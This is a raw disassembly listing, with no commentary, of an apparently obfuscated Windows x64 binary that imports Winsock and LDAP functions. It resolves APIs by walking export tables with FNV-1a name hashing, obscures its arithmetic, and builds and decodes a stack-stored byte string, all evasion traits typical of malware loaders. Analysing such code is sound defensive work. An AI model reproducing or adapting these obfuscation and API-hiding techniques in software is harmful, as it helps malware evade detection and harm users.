imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x3e
jmp 0x140203c7d
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r15d, dword [r8 + rdx*4]
add r15, rbx
cmp r15, r10
jbe 0x140203aeb
lea rcx, [rax + r10]
cmp r15, rcx
jae 0x140203aeb
mov eax, 0x811c9dc5
mov esi, eax
mov r13d, eax
jmp 0x140203c23
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r15, r12
mov al, byte [r15]
cmp al, 0x2e
jne 0x140203c15
add r15, r12
xor ebx, ebx
jmp 0x140203c41
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r15, r12
mov al, byte [r15]
test al, al
jne 0x140203c31
mov rdi, qword [r14]
jmp 0x140203ad6
je 0x1402046b8
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140204685
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14020463e
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140204616
cmp r11, r10
ja 0x140204734
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x140203cae
movabs rcx, 0x740e3f687b154aba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
jmp 0x140203cde
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1402045cb
cmp rdi, rcx
je 0x1402045a8
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140204594
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140204570
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14020422c
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x140204218
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1402041f6
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1402041e2
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1402041c0
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1402041ac
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14020418a
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x140204176
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140204154
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14020412e
lea rax, [r11 + 0x1000]
cmp rdi, rax
je 0x140203ceb
lea rdi, [r11 + 0x61]
lea r11, [rdi + 6]
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140204710
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x1402046ee
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140203eeb
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140203ec9
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140203ea3
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x140204091
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140204080
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140204038
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14020400a
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140203ceb
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x200]
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140203ff6
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140203fd4
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x140203fb3
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140203f91
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140203f7d
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x140203f5b
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140203f47
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140203f25
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140203f11
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x140203ceb
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
jmp 0x140203ceb
movabs rdx, 0x30f09782cd2b6886
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140203cde
movabs rcx, 0x3213ce6ca910ffe2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2e
jmp 0x140203c7d
movabs rdx, 0x3337055684f6973e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140203ba4
movabs rdx, 0xa071fb43d8aa55d0
mov ecx, Ordinal_41
jmp 0x1402045da
movabs rcx, 0xa195322db48fed2c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x140204633
movabs rdx, 0xa2b8691790758488
mov ecx, 0x24
jmp 0x1402045b7
movabs rcx, 0xa3dba0016c5b1be4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
jmp 0x14020465b
movabs rdx, 0xa4fed6eb4840b340
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140204694
movabs rcx, 0xa6220dd524264a9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x1402046a9
movabs rdx, 0xa74544bf000be1f8
mov ecx, Ordinal_30
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402044ff
movabs rcx, 0xa8687ba8dbf17954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x140204538
movabs rdx, 0xa98bb292b7d710b0
mov ecx, Ordinal_26
jmp 0x14020413d
movabs rdx, 0x2c63bbdb5d950b16
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x460], bl
jmp 0x1402046e6
movabs rcx, 0x2d86f2c5397aa272
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
cmp r11, 2
jb 0x14020402b
movabs rcx, 0xc5fc0f693142d8ac
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x68]
jmp 0x1402045ec
movabs rdx, 0x2eaa29af156039ce
mov ecx, Ordinal_50
jmp 0x1402040d8
movabs rcx, 0x2fcd6098f145d12a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
lea rax, [r11 + rdi]
cmp rax, 0x61
je 0x1402044db
lea rax, [r11 + 0x7a]
cmp rdi, rax
jbe 0x140204332
movabs rdx, 0x5d4df5234d25778a
mov ecx, Ordinal_30
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp rdi, rax
jae 0x1402044b0
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140204400
movabs rdx, 0xd15c348bc83ac244
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140204055
movabs rdx, 0xb8557c72e27fc05c
mov ecx, 0x3e
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1402046d7
movabs rcx, 0xb978b35cbe6557b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140204538
movabs rdx, 0xba9bea469a4aef14
mov ecx, Ordinal_60
jmp 0x140203fc2
movabs rcx, 0xbbbf213076308670
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1402046a9
movabs rdx, 0xbce2581a52161dcc
mov ecx, gethostname
jmp 0x140204694
movabs rcx, 0xbe058f042dfbb528
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14020465b
movabs rdx, 0xbf28c5ee09e14c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1402045b7
movabs rcx, 0xc04bfcd7e5c6e3e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140204633
movabs rdx, 0xc16f33c1c1ac7b3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1402045da
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x14020424e
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
jmp 0x1402040ae
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140204279
movabs rcx, 0xe81c7ed0f62a9574
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1402046d7
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1402042a8
movabs rdx, 0xe6f947e71a44fe18
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140204538
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1402042d3
movabs rcx, 0xe38fa32986943804
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x1402046a6
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140204302
movabs rdx, 0xe26c6c3faaaea0a8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14020465b
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1402040ae
movabs rdx, 0xdf02c78216fdda94
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
jmp 0x1402045ec
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14020435d
movabs rcx, 0x5c2abe39713fe02e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1402045ec
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140204389
movabs rcx, 0x59e45065b974b176
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
jmp 0x140204636
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1402043a6
movabs rdx, 0x567aaba825c3eb62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x14020457d
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1402043d1
movabs rcx, 0x555774be49de5406
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x140204504
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1402040ea
movabs rcx, 0x531106ea9213254e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x1402046d7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14020442b
movabs rcx, 0xd038fda1ec552ae8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
jmp 0x1402046d7
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140204456
movabs rcx, 0xcbac21fa7cbecd78
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x1402046a6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14020447d
movabs rdx, 0xca88eb10a0d9361c
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402044d1
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140204055
movabs rdx, 0xc8427d3ce90e0764
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140204633
movabs rdx, 0xc4d8d87f555d4150
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x460]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r9b
jmp 0x14020465b
movabs rdx, 0xc3b5a1957977a9f4
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x460]
add bl, dl
add bl, r9b
movabs rdx, 0x432406208b84de46
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x460], al
add r11, r12
add rax, r11
sub r10, rax
movabs rcx, 0xc2926aab9d921298
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, cl
mov byte [rbp + r10 + 0x460], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1402046d7
movabs rdx, 0x6d3af5ed53b3be92
mov ecx, r12d
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1402046a9
movabs rdx, 0x6e5e2cd72f9955ee
mov ecx, 0x3f
jmp 0x140204694
movabs rdx, 0x70a49aaae76484a6
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140204636
movabs rdx, 0x72eb087e9f2fb35e
mov ecx, gethostname
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rdx, 0x456a73f443500cfe
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x140204633
movabs rcx, 0x7654ad3c32e07972
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
add r11, r12
sub r10, r12
jmp 0x1402046e6
movabs rcx, 0x789b1b0feaaba82a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
movabs rdx, 0x44473d0a676a75a2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x6e
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x1402046a6
movabs rdx, 0x79be51f9c6913f86
mov ecx, Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1402046e6
movabs rdx, 0x7e4b2da136279cf6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x460]
add rax, r11
add r10, rax
add r10, r12
jmp 0x140203b91
movabs rcx, 0x345a3c4060dc2e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x140203b88
movabs rdx, 0x357d732a3cc1c5f6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140203b78
lea rsi, [rbp + 0x15f2b78]
jmp 0x14020474d
lea rsi, [rbp + 0x16c5fca]
jmp 0x14020474d
lea rsi, [rbp + 0x460]
mov byte [rbp + 0x1110], Ordinal_143
mov byte [rbp + 0x1111], Ordinal_79
mov byte [rbp + 0x1112], Ordinal_217
mov byte [rbp + 0x1113], 0x43
mov byte [rbp + 0x1114], Ordinal_217
mov byte [rbp + 0x1115], 0x41
mov byte [rbp + 0x1116], 0xe3
mov byte [rbp + 0x1117], 0x47
mov byte [rbp + 0x1118], Ordinal_211
mov byte [rbp + 0x1119], 0x45
mov byte [rbp + 0x111a], 0x9b
mov byte [rbp + 0x111b], Ordinal_60
mov byte [rbp + 0x111c], Ordinal_217
mov byte [rbp + 0x111d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x111e], Ordinal_143
mov byte [rbp + 0x111f], 0x3f
mov byte [rbp + 0x1120], 0xaa
mov byte [rbp + 0x1121], 0x3d
mov byte [rbp + 0x1122], 0xa1
mov byte [rbp + 0x1123], gethostname
mov byte [rbp + 0x1124], 0xa4
mov byte [rbp + 0x1125], Ordinal_50
mov byte [rbp + 0x1126], __WSAFDIsSet
mov byte [rbp + 0x1127], Ordinal_60
mov byte [rbp + 0x1128], __WSAFDIsSet
mov byte [rbp + 0x1129], gethostname
mov byte [rbp + 0x112a], 0xbe
mov byte [rbp + 0x112b], Ordinal_46
mov byte [rbp + 0x112c], 0xb1
mov byte [rbp + 0x112d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x112e], 0xbd
mov byte [rbp + 0x112f], Ordinal_50
mov byte [rbp + 0x1130], 0xbe
mov byte [rbp + 0x1131], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1132], Ordinal_200
mov byte [rbp + 0x1133], r14b
mov byte [rbp + 0x1134], 0xfd
mov byte [rbp + 0x1135], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1136], Ordinal_200
mov byte [rbp + 0x1137], Ordinal_41
mov byte [rbp + 0x1138], Ordinal_143
mov byte [rbp + 0x1139], Ordinal_41
mov byte [rbp + 0x113a], 0xfa
mov byte [rbp + 0x113b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x113c], 0xdd
mov byte [rbp + 0x113d], Ordinal_30
mov byte [rbp + 0x113e], 0x88
mov byte [rbp + 0x113f], Ordinal_33
mov byte [rbp + 0x1140], Ordinal_143
mov byte [rbp + 0x1141], Ordinal_30
mov byte [rbp + 0x1142], 0x81
mov byte [rbp + 0x1143], reloc.WS2_32.dll_send
mov byte [rbp + 0x1144], 0x86
mov byte [rbp + reloc.WS2_32.dll_recvfrom45], 0x11
mov byte [rbp + 0x1146], 0xf6
mov byte [rbp + 0x1147], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1148], Ordinal_211
mov byte [rbp + 0x1149], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x114a], __WSAFDIsSet
mov byte [rbp + 0x114b], ntohl
mov byte [rbp + 0x114c], 0xad
mov byte [rbp + 0x114d], 9
mov byte [rbp + 0x114e], 0x84
mov byte [rbp + 0x114f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1150], 0xad
mov byte [rbp + 0x1151], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1152], __WSAFDIsSet
mov byte [rbp + 0x1153], 3
mov byte [rbp + 0x1154], 0x99
mov byte [rbp + 0x1155], r12b
mov byte [rbp + 0x1156], __WSAFDIsSet
mov byte [rbp + 0x1157], 7
mov byte [rbp + 0x1158], 0x9f
mov byte [rbp + 0x1159], 5
mov byte [rbp + 0x115a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x115b], 0xfb
mov byte [rbp + 0x115c], 0x44
mov byte [rbp + 0x115d], 0xf9
mov byte [rbp + 0x115e], WSAStartup
mov byte [rbp + 0x115f], 0xff
mov byte [rbp + 0x1160], 0x5d
mov byte [rbp + 0x1161], 0xfd
mov byte [rbp + 0x1162], 0x56
mov byte [rbp + 0x1163], 0xf3
mov byte [rbp + 0x1164], 0x55
mov byte [rbp + 0x1165], 0xf1
mov byte [rbp + 0x1166], 0x60
mov byte [rbp + 0x1167], 0xf7
mov byte [rbp + 0x1168], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1169], 0xf5
mov byte [rbp + 0x116a], 0x47
mov byte [rbp + 0x116b], 0xeb
mov byte [rbp + 0x116c], 0xe8
mov byte [rbp + 0x116d], 0xe9
xor eax, eax
mov dword [rbp + 0x116e], eax
mov word [rbp + 0x1172], ax
mov byte [rbp + 0x1174], al
movabs r14, 0xabd5bd3eff80feb6
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r11, r13
cmp r11, 0x65
jae 0x1402051a5
movzx r9d, byte [rbp + r11 + 0x1110]
mov r8, r9
cmp rdi, r11
ja 0x14020519c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140204a56
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 6
jmp 0x140204a76
je 0x14020510f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140205084
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020505b
cmp r10, r11
ja 0x140205193
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140204aaa
movabs rcx, 0x1888862af594e4ee
add rcx, r11
mov al, r9b
and al, cl
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
jmp 0x140204ae0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140205010
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140204ff0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140204fce
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140204f9e
mov dl, bl
lea rax, [rdi + r10]
cmp rax, r11
jbe 0x140204c63
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140204c42
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140204c1f
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140204bfd
lea rdi, [r10 + 0x41]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14020516d
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140205147
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140204b73
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140204bdb
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140204bba
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140204b99
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
jmp 0x140204aed
movabs rdx, 0x9db6cc38bd0651fa
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140204a28
movabs rdx, 0xb63f5263b29b36e8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x58
jmp 0x140204f97
movabs rdx, 0x5e93d7e5b399397c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x140204e57
movabs rcx, 0x6e85d67b4973c10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x140205130
movabs rcx, 0x852e460dc7716d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14020507c
movabs rcx, 0x2d82cb8fc86f6fa0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x140205056
movabs rdx, 0xd5d75111c96d7234
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x6c
jmp 0x14020502c
lea rax, [r10 + 0x1000]
cmp rdi, rax
jae 0x140204d29
lea rcx, [r11 + r14]
mov al, r9b
and al, cl
mov edx, 3
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
lea rax, [rdi + r10]
cmp rax, 0x41
je 0x140204f70
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140204db1
movabs rdx, 0xf1ee1802e1bcb15e
add rdx, r11
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r9b
cmp rdi, 0x41
jae 0x140204f11
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140204e5e
movabs rdx, 0xa769e2dd751964c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub dl, 0x14
add dl, cl
cmp r10, 0x41
jb 0x140204f02
movabs rcx, 0x77296719cd657c84
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x38]
jmp 0x14020502e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140204d54
movabs rcx, 0x31110c55eb29c9dc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140205130
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140204d7e
movabs rdx, 0xe0680151e92dc4b4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140204f94
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140204c8a
movabs rdx, 0x3f15eb49e535ba64
mov ecx, Ordinal_35
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14020507c
jne 0x140204dd9
movabs rdx, 0x49999280e0beaeca
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14020502e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140204e04
movabs rcx, 0xf8f0877cdec2a9a2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x14020507c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140204e2e
movabs rdx, 0x579e7174daca9f52
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
jmp 0x140204f97
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140204cc5
movabs rdx, 0xaf49ebf2d9cc9cbe
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
jmp 0x1402050da
jne 0x140204e83
movabs rcx, 0x622218abd65393b8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140205130
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140204eb2
movabs rdx, 0x11790da7d4578e90
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1402050a8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140204ee1
movabs rdx, 0xc0d002a3d25b8968
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140204f6b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140204cfa
movabs rdx, 0x7026f79fd05f8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140204d9a
mov byte [rbp + r11 + 0x1110], dl
mov bl, dl
jmp 0x14020513f
movabs rcx, 0xced4e197cc6779f0
add rcx, r11
mov al, cl
and al, r9b
mov r8d, Ordinal_60
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 + 0x1110]
add r8b, cl
add r8b, r9b
movabs rdx, 0x7aaa9ed6cbe878a6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x1110], cl
mov bl, r8b
add rdi, r10
jmp 0x140204fbc
movabs rdx, 0x26805c15cb69775c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x1110]
add bl, r9b
add bl, dl
jmp 0x1402050a8
movabs rcx, 0x268d651eefa0d576
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14020513f
movabs rcx, 0x1f8af5a4f29add32
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x14020507c
movabs rcx, 0xc7df7b26f398dfc6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6a
jmp 0x140205056
movabs rdx, 0x703400a8f496e25a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x76
add bl, dl
movabs rdx, 0x22ff2458cce67b3a
